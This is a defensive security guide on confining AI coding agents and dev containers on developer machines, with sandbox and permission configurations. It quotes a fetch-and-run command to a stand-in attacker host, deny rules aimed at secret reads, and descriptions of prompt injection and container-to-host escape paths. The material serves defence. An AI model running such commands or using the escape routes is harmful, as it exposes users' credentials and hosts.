Are you an LLM? Read llms.txt for a summary of the docs, or llms-full.txt for the full context.
Skip to content

Developer Machine Confinement

Engineer/DeveloperSecurity SpecialistDevOps

Authored by:

Elliot
Elliot
Solidity Labs

Reviewed by:

matta
matta
The Red Guild | SEAL

🔑 Key Takeaway: Confinement on your developer machine limits the blast radius when a tool goes wrong, whether that's prompt injection, a malicious dependency, or an LLM mistake. Imperfect containment is much better than no containment, and spending 5 minutes configuring containers can prevent company-ending mistakes.

AI coding agents run shell commands directly on your machine. A prompt injection or a malicious package could read ~/.ssh, modify .bashrc, or silently steal secrets. Unlike CI runners, developer machines aren't ephemeral: they carry years of credentials, tokens, and config. The goal of confinement is to make sure the blast radius of mistakes stays contained.

A container is not an isolated system. It is a confined process tree with restricted views of system resources.

MechanismBetter termWhy
VMs / microVMs / hardware enclavesIsolationSeparate execution environment with stronger hardware or hypervisor-backed boundaries.
ContainersConfinementShared kernel; process tree is constrained, not truly isolated.
SandboxesRestricted executionCode runs under explicit limits, but escape risk remains part of the model.
Networks / tenants / servicesSegmentationSeparation is architectural or network-level, not necessarily execution-level.
Privileges / blast-radius designCompartmentalizationSplits capabilities and impact zones to reduce damage from compromise.

Threats

TypeExampleMitigated by
Prompt injectionMalicious file content tricks agent into running curl attacker.com | shConfinement, shell command restrictions
Malicious dependencynpm package exfiltrates env vars on installDeny-by-default egress, blocked home directory reads
LLM mistakeAgent overwrites ~/.zshrc or deletes project filesFilesystem write restrictions scoped to working directory

Claude Code: native restricted-execution mode

Claude Code has a native sandboxed bash tool backed by OS-level primitives: Seatbelt on macOS, bubblewrap on Linux, and WSL2. The sandbox applies to every subprocess Claude invokes (npm, kubectl, terraform, git), not just Claude's own file tools.

Step 1: install prerequisites (Linux/WSL2 only, macOS has Seatbelt built in):

sudo apt-get install bubblewrap socat   # Ubuntu/Debian
sudo dnf install bubblewrap socat        # Fedora

Step 2: enable restricted execution:

Run /sandbox inside Claude Code. You'll get a menu with two modes:

  • Auto-allow: sandboxed commands run without per-command prompts. Anything that can't run inside the sandbox (e.g. a command reaching a non-allowed host) falls back to the normal approval flow. This mode reduces approval fatigue.
  • Regular permissions: every bash command still goes through the standard approval flow, but OS-level filesystem and network restrictions are still enforced. This adds more friction, but results in better system security properties.

Start with auto-allow. You can tighten it per-project via settings.

Step 3: harden the project config (.claude/settings.json):

{
  "sandbox": {
    "enabled": true,
    "failIfUnavailable": true,
    "allowUnsandboxedCommands": false,
    "filesystem": {
      "denyRead": ["~/.ssh", "~/.aws"],
      "allowRead": ["."],
      "allowWrite": ["/tmp/build"]
    },
    "network": {
      "allowedDomains": [
        "registry.npmjs.org",
        "api.github.com",
        "crates.io"
      ]
    }
  },
  "permissions": {
    "deny": ["Read(.env)", "Bash(cat .env)"]
  }
}
  • failIfUnavailable: true: hard-fails if the sandbox can't start, rather than silently running without confinement
  • allowUnsandboxedCommands: false: closes the built-in escape hatch that lets Claude retry a failing command outside the sandbox
  • denyRead: ["~/.ssh", "~/.aws"]: blocks reads from sensitive paths outside the project root, such as SSH keys and AWS credentials
  • allowRead: ["."]: restores read access to the current project root (inside the denied region)
  • allowWrite: ["/tmp/build"]: if a build tool needs to write outside the working directory, grant it here specifically
  • allowedDomains: explicit egress allowlist; omit anything you don't actively need
  • permissions.deny: protects against two different attack vectors. Read(.env) blocks Claude's built-in file tools (which use the permission system directly, bypassing the sandbox). Bash(cat .env) blocks bash subprocesses from accessing .env (these go through the sandbox layer). Note that allowRead takes precedence over denyRead within the sandbox, so denyRead only effectively blocks paths outside the project root, while permissions.deny is needed for in-tree secrets. Both rules are fragile: renaming the file or using alternate commands can bypass them, as noted in the limitations section below

Known limitations

  • The proxy enforces the allowlist by hostname; it does not terminate or inspect TLS. Domain fronting can bypass the allowlist. If that's in your threat model, run a custom TLS-terminating proxy instead.
  • allowUnixSockets can expose the Docker socket and grant effective host root. Don't use it unless you know what you're doing.
  • Adding broad domains like github.com to the allowlist opens exfiltration paths.
  • There is no command allowlist at the project level. Shell tools like curl can still run inside the sandbox as long as they target an allowed domain. allowedDomains constrains where commands can reach, not which commands can run.

Codex CLI: native restricted-execution mode

Codex CLI has native sandboxing built in, using the same OS primitives. In the CLI, use /permissions to switch modes during a session. The safest practical default for daily development is workspace-write combined with approval_policy = "on-request": Codex can read and write within your project directory, but pauses for approval before going beyond that boundary. Avoid danger-full-access since it removes filesystem and network boundaries entirely and should not be used for normal work.

To make this the persistent default, add the following to ~/.codex/config.toml:

[sandbox]
sandbox_mode = "workspace-write"
approval_policy = "on-request"
 
[sandbox.sandbox_workspace_write]
writable_roots = ["./"]
 
[permissions.default.network]
# deny all by default; add specific domains as needed
domains = {}

OpenCode: permission gating plus a Docker confinement boundary

Unlike Claude Code and Codex, OpenCode has no native OS-level sandbox. Its built-in controls are a permission system, allow / ask / deny per tool, which gates what the agent does but does not confine it. Treat permissions as a guardrail and run OpenCode inside a Docker container to create a confinement boundary.

Step 1: gate tools with permission in opencode.json:

The config lives in your project root (the key is permission, singular) and is safe to commit. Each tool, including bash, edit, read, webfetch, and external_directory, takes allow, ask, or deny, with */? wildcard patterns where the last match wins.

{
  "$schema": "https://opencode.ai/config.json",
  "permission": {
    "bash": { "*": "ask", "git status*": "allow", "rm *": "deny" },
    "edit": { "*": "deny", "src/**": "allow" },
    "external_directory": "deny",
    "webfetch": "ask"
  }
}

This is the analog of Codex's approval policy, not of its sandbox. It prompts before risky actions, but a command you approve still runs with full host access; it cannot stop an approved command from reading ~/.ssh.

Step 2: run OpenCode inside a container:

Because there is no native sandbox, containment comes from wrapping OpenCode in Docker. Docker's agent sandbox CLI (sbx) runs it in a container that does not inherit your host user config and only sees the project directory, with provider credentials injected through a proxy rather than mounted:

sbx run opencode ~/my-project

For a more controllable baseline, run OpenCode inside the hardened dev container described in the next section (--cap-drop=ALL, --security-opt=no-new-privileges, a single workspaceMount, and no Docker socket). Either way the container is the confinement boundary, and the permission rules ride along inside it as a second layer.

Limitations

  • The permission system is a UX gate. On its own it provides no filesystem or network boundary; an approved command has full host access.
  • Container confinement inherits the usual Docker footguns covered in the VS Code dev containers section below: passwordless sudo in default images, Docker socket mounts, and no egress filtering unless explicitly added.
  • Remote-backend plugins (for example, Daytona) offer stronger separation by executing in a cloud sandbox, but they shift the trust boundary to a third party and turn the provider API key on your machine into a high-value target. They also sync over git and can overwrite local branches.

VS Code dev containers

Dev containers run VS Code and every extension installed into it (including AI coding agents) inside a Docker container. The container's filesystem only sees what you explicitly mount, but the confinement boundary is leakier than it looks: the Remote extension that makes dev containers work forwards your SSH and GPG agent sockets and copies your Git configuration into the container by default, effectively handing the container your host credentials without ever mounting the files. See the trust-model section below before treating a dev container as a security boundary.

Baseline .devcontainer/devcontainer.json:

{
  "image": "mcr.microsoft.com/devcontainers/base:ubuntu",
  "workspaceMount": "source=${localWorkspaceFolder},target=/workspace,type=bind",
  "workspaceFolder": "/workspace",
  "runArgs": [
    "--cap-drop=ALL",
    "--security-opt=no-new-privileges"
  ],
  "remoteUser": "vscode"
}
  • --network=none: only add this flag for a box to quarantine it from the internet. Cuts all egress and outbound traffic
  • --cap-drop=ALL: drops Linux capabilities (no raw sockets, no privilege escalation paths)
  • --security-opt=no-new-privileges: prevents setuid/setgid escalation inside the container
  • Single workspaceMount: the host filesystem outside the project directory is not visible
  • Container memory can also be restricted to prevent software running inside a container from crashing the computer.

The Remote extension trust model

Dev containers are powered by VS Code's Remote extension, which deploys a vscode-server agent inside the container and links it to the host IDE over an RPC channel. That bridge weakens the container boundary by design:

  • Forwarded SSH agent. If you have an ssh-agent running, the Dev Containers extension forwards it into the container automatically and sets SSH_AUTH_SOCK. Any process inside can then ask your host agent to authenticate (ssh-add -L to list keys, then pivot to other hosts) without ever reading the key files. A passphrase only protects the initial unlock; once the agent has cached the key, it signs silently. (GPG commit signing is not forwarded automatically; it requires extra setup inside the container.)
  • Copied Git configuration. Your host ~/.gitconfig, including user.signingkey and credential.helper, is copied in by default. This enables commit signing and push auth seamlessly, but also allows impersonation and credential reuse.
  • Host terminal access from extensions. A workspace extension running inside the container can call workbench.action.terminal.newLocal and sendSequence to open a terminal on the host and run arbitrary commands. This is a container-to-host RCE path that needs no exploit; it is part of the API.
  • Extension-host manipulation. .vscode/settings.json and .devcontainer/devcontainer.json live in the bind-mounted workspace, so a workspace extension can edit them to inject remote.extensionKind overrides, then call workbench.action.reloadWindow. The host applies the poisoned config on reload, shifting an extension to run host-side.

Secure credentials by clearing the forwarded sockets and disabling the Git-config copy in devcontainer.json:

{
  "remoteEnv": {
    "SSH_AUTH_SOCK": "",
    "GIT_ASKPASS": ""
  },
  "settings": {
    "dev.containers.copyGitConfig": false
  }
}

These disable the SSH agent forwarding and Git-config copy. They do not address the host-terminal RCE path; that is only contained by trusting every extension installed in the workspace, so review extensions the same way you would review a dependency.

With forwarding off, run git push and commit signing from a host terminal (the workspace is bind-mounted, so the files are identical), or scope the container to a single-repo token rather than your full agent.

Limitations

Dev containers aren't designed as security sandboxes; convenience shortcuts dominate the defaults. Three things to fix:

  • Default base images ship with passwordless sudo. Disable it, or set remoteUser to a user without sudo access.
  • Never mount the Docker socket (/var/run/docker.sock). It gives the container root-equivalent access to the host.
  • --network=none breaks package installs. A custom Docker network with an egress proxy is more practical for daily development.

Trail of Bits has published a hardened devcontainer at trailofbits/claude-code-devcontainer, built for running Claude Code and VSCode Containers against untrusted codebases in security audits. It's a useful starting point if you want a well-considered baseline rather than building from scratch.

References